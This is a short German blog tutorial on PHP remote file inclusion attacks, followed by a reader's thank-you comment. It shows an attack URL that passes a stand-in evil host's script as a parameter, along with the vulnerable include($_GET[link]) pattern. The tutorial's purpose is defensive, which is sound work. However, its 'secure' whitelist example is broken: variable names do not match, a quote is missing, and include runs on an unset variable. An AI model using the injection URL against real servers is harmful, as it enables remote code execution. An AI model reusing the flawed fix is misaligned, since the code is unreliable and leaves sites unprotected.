PHP - Code Injection Angriffe
Einige Personen sind der Meinung, dass PHP per se eine unsichere Programmiersprache ist. Wie kommt man darauf? Die Sprache kann IMHO nur insoweit etwas für Ihren Ruf, als dass sie es dem Programmierer erlaubt ziemlich einfach komplexe Operationen aneinanderzureihen, die im Zusammenspiel dann zum Sicherheitsloch werden.
Wie läuft eine PHP Code Injection grundsätzlich ab? Wie auf Glorf IT erwähnt gibt es jede Menge Angreifer, die versuchen durch automatische Spider das Web nach Sicherheitslöchern abzugrasen um diese anschließend auszunutzen. Nicht selten versuchen sie durch Übergabe einer Adresse in der URL z.B. http://www.alin.eu/?link=http://boeseseite/boesesscript.php ein boeses Skript auf meinem Server auszuführen. Solche Aufrufe findet man fast häufiger im Serverlog als richtige Seitenzugriffe von Besuchern.
Wenn man im PHP Code nun so etwas wie include($_GET[link]) stehen hat, was manche Content Management Systeme hin und wieder tatsächlich verwenden um Inhalt aus anderen Dateien einzubinden, wird der Schadcode vom fremden Server hereingeladen. Es kann beliebiger schädlicher PHP-Code ausgeführt werden.
Gegen solche Angriffe kann man sich noch relativ einfach schützen, indem man in der php.ini den Eintrag allow_url_fopen=On auf allow_url_fopen=Off setzt. Dann können keine Dateien mehr von anderen Servern aufgerufen werden. Nachteil: Auch alle anderen PHP Skripte können nicht mehr auf Dateien von anderen Servern zugreifen. Zudem kann der Angreifer immer noch Code ausführen, wenn er an anderer Stelle die Gelegenheit bekommt Dateien auf den Server abzulegen. Ein typischen Fall wie das funktioniert ist im Flashforum humorvoll erklärt.
Eine wie ich behaupte sichere Methode ist es, die Benutzereingaben nicht direkt zu verwenden, sondern sie zum Beispiel über ein assoziatives Array einer vorgegebenen Seite zuzuordnen.
$arraymap = array(
'index' => 'index.php',
'impressum' => 'impressum.php',
//usw
);
if(!empty($_GET['link']) && isset($inclmap[$_GET['link']])) {
$content = $arraymap[$_GET['link]];
} else {
//Startseite aufrufen oder 404
}
include($content);
Natürlich gibt es noch viele weitere Angriffsmöglichkeiten im Zusammenhang mit PHP. Auf nettuts.com wird eine kleine Übersicht gegeben.
Weitere Sicherheitslücken die nicht direkt etwas mit PHP zu tun haben, aber häufig in interaktiven Webumgebungen anzutreffen sind Cross-Site-Scripting (XSS) Lücken. (siehe Wikipedia)
Auch Wordpress Blogs sind immer mal wieder Opfer von solchen Angriffen. Wie man sein Wordpress Blog einigermaßen vor Angriffen schützt erfährt man bei brajeshwar.com (Englisch).
Ich erhebe mit dem Tutorial natürlich keinen Anspruch auf Vollständigkeit. Kommentare und Hinweise sind herzlich erwünscht.


Friday, 18. July 2008 21:06
Gute Einführung in das Thema, danke.